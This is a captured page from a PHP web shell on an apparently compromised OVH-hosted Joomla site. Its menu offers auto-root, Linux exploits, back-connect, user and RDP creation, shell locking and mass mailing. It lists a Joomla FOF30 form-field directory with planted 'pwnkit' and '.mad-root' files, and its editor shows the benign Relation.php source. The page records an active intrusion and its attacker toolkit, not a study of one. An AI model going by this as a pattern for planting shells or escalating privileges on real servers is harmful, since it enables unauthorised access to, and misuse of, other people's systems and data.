Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.120.20.2 | : 216.73.216.49
Cant Read [ /etc/named.conf ]
8.5.7
verseaumee
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
verseaumee /
www /
libraries /
fof30 /
Form /
Field /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
AccessLevel.php
4.01
KB
-rw----r--
Actions.php
5.81
KB
-rw----r--
Boolean.php
1.39
KB
-rw----r--
BooleanToggle.php
1.5
KB
-rw----r--
Button.php
3.01
KB
-rw----r--
CacheHandler.php
3.04
KB
-rw----r--
Calendar.php
7.91
KB
-rw----r--
Callback.php
3.78
KB
-rw----r--
Captcha.php
2.17
KB
-rw----r--
Checkbox.php
3.7
KB
-rw----r--
Checkboxes.php
3.27
KB
-rw----r--
Color.php
2.54
KB
-rw----r--
Components.php
6.43
KB
-rw----r--
Editor.php
2.98
KB
-rw----r--
Email.php
4.9
KB
-rw----r--
GenericList.php
10.52
KB
-rw----r--
GroupedButton.php
3.18
KB
-rw----r--
GroupedList.php
4.7
KB
-rw----r--
Hidden.php
2.16
KB
-rw----r--
Image.php
432
B
-rw----r--
ImageList.php
4.28
KB
-rw----r--
Images.php
2.46
KB
-rw----r--
Integer.php
2.69
KB
-rw----r--
Language.php
3.75
KB
-rw----r--
Media.php
4.32
KB
-rw----r--
Model.php
8.38
KB
-rw----r--
Number.php
3.43
KB
-rw----r--
Numeric.php
699
B
-rw----r--
Ordering.php
7.33
KB
-rw----r--
Password.php
3
KB
-rw----r--
Plugins.php
3.03
KB
-rw----r--
Published.php
5.17
KB
-rw----r--
Radio.php
3.02
KB
-rw----r--
Relation.php
5.2
KB
-rw----r--
RowSelect.php
392
B
-rw----r--
Rules.php
10.84
KB
-rw----r--
SelectRow.php
3.39
KB
-rw----r--
SessionHandler.php
3.05
KB
-rw----r--
Spacer.php
2.18
KB
-rw----r--
Sql.php
3.04
KB
-rw----r--
Tag.php
4.17
KB
-rw----r--
Tel.php
4.93
KB
-rw----r--
Text.php
7.73
KB
-rw----r--
TextArea.php
3
KB
-rw----r--
Timezone.php
3.38
KB
-rw----r--
Title.php
1.47
KB
-rw----r--
Url.php
4.87
KB
-rw----r--
User.php
8.21
KB
-rw----r--
UserGroup.php
4.46
KB
-rw----r--
ViewTemplate.php
3.97
KB
-rw----r--
pwnkit
0
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Relation.php
<?php /** * @package FOF * @copyright Copyright (c)2010-2019 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU GPL version 2 or later */ namespace FOF30\Form\Field; use FOF30\Model\DataModel; use JHtml; use JText; defined('_JEXEC') or die; /** * Form Field class for FOF * Relation list * * @deprecated 3.1 Support for XML forms will be removed in FOF 4 */ class Relation extends GenericList { /** * Get the rendering of this field type for static display, e.g. in a single * item view (typically a "read" task). * * @since 2.0 * * @return string The field HTML */ public function getStatic() { return $this->getRepeatable(); } /** * Get the rendering of this field type for a repeatable (grid) display, * e.g. in a view listing many item (typically a "browse" task) * * @since 2.0 * * @return string The field HTML */ public function getRepeatable() { $class = $this->class ? $this->class : $this->id; $relationclass = $this->element['relationclass'] ? (string) $this->element['relationclass'] : ''; $value_field = $this->element['value_field'] ? (string) $this->element['value_field'] : 'title'; $translate = $this->element['translate'] ? (string) $this->element['translate'] : false; $link_url = $this->element['url'] ? (string) $this->element['url'] : false; if (!($link_url && $this->item instanceof DataModel)) { $link_url = false; } if ($this->element['empty_replacement']) { $empty_replacement = (string) $this->element['empty_replacement']; } $relationName = $this->form->getModel()->getContainer()->inflector->pluralize($this->name); $relations = $this->item->getRelations()->getData($relationName); $rels = array(); foreach ($relations as $relation) { $html = '<span class="' . $relationclass . '">'; if ($link_url) { $keyfield = $relation->getKeyName(); $this->_relationId = $relation->$keyfield; $url = $this->parseFieldTags($link_url); $html .= '<a href="' . $url . '">'; } if (!isset($this->valueField)) { $this->valueField = $relation->getFieldAlias($value_field); } $value = $relation->{$this->valueField}; // Get the (optionally formatted) value if (!empty($empty_replacement) && empty($value)) { $value = JText::_($empty_replacement); } if ($translate == true) { $html .= JText::_($value); } else { $html .= $value; } if ($link_url) { $html .= '</a>'; } $html .= '</span>'; $rels[] = $html; } $html = '<span class="' . $class . '">'; $html .= implode(', ', $rels); $html .= '</span>'; return $html; } /** * Method to get the field options. * * @return array The field option objects. */ protected function getOptions() { $options = array(); $this->value = array(); $value_field = $this->element['value_field'] ? (string) $this->element['value_field'] : 'title'; $name = (string) $this->element['name']; $class = $this->element['model'] ? (string) $this->element['model'] : $name; $view = $this->form->getView()->getName(); $relation = $this->form->getModel()->getContainer()->inflector->pluralize($class); /** @var DataModel $model */ $model = $this->form->getContainer()->factory->model($relation)->setIgnoreRequest(true)->savestate(false); $key = $model->getIdFieldName(); $value = $model->getFieldAlias($value_field); foreach ($model->get(true) as $option) { $options[] = JHtml::_('select.option', $option->$key, $option->$value); } if ($id = $this->form->getModel()->getId()) { $model = $this->form->getModel(); $relations = $model->$name; foreach ($relations as $item) { $this->value[] = $item->getId(); } } return $options; } /** * Replace string with tags that reference fields * * @param string $text Text to process * * @return string Text with tags replace */ protected function parseFieldTags($text) { $ret = $text; // Replace [ITEM:ID] in the URL with the item's key value (usually: // the auto-incrementing numeric ID) if (is_null($this->item)) { $this->item = $this->form->getModel(); } $replace = $this->item->getId(); $ret = str_replace('[ITEM:ID]', $replace, $ret); // Replace the [ITEMID] in the URL with the current Itemid parameter $ret = str_replace('[ITEMID]', $this->form->getContainer()->input->getInt('Itemid', 0), $ret); // Replace the [TOKEN] in the URL with the Joomla! form token $ret = str_replace('[TOKEN]', \JFactory::getSession()->getFormToken(), $ret); // Replace the [RELATION:ID] in the URL with the relation's key value $ret = str_replace('[RELATION:ID]', $this->_relationId, $ret); // Replace other field variables in the URL $data = $this->item->getData(); foreach ($data as $field => $value) { // Skip non-processable values if(is_array($value) || is_object($value)) { continue; } $search = '[ITEM:' . strtoupper($field) . ']'; $ret = str_replace($search, $value, $ret); } return $ret; } }
Close